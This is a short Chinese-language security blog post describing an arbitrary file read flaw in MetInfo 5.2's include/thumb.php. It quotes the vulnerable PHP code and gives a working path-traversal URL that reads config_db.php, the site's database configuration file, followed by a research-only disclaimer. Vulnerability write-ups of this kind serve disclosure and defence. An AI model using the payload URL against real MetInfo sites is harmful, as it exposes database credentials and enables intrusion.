攻击者通过提交精心构造的参数可以获取服务器端任意文件内容!
MetInfo 5.2(当前最新版本)的 include/thumb.php 文件本来用来获取缩略图,但是其构造的缩略图路径存在外部可控变量,攻击者可以借此获取任意文件内容:
include/thumb.php关键代码如下
$ext1 = explode("/", $dir); //$dir变量由外部传入 $count = count($ext1); $count1 = $ext1[$count-1]; $ext2 = explode(".", $count1); $ext3 = $ext2[1]; // $ext3为$dir变量文件名后缀 $path1 = $ext2[0]; // $ext3为$dir变量文件名称 $dir1 = '../upload/thumb_src/'.$x.'_'.$y.'/'.$path1.'.'.$ext3; // $x和$y由外部传入,因此导致整个$dir1变量完全可控 if(file_exists($dir1)){ // 该处逻辑实现读取$dir1文件内容 echo "the file exist:".$dir1; readfile("$dir1"); }else{ $f = new upfile(); $imgurls = $f->createthumb($dir,$x,$y); readfile($imgurls); } ?>
攻击者够高的攻击性URL为:
include/thumb.php?x=1&y=/../../../config&dir=config_db.php
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论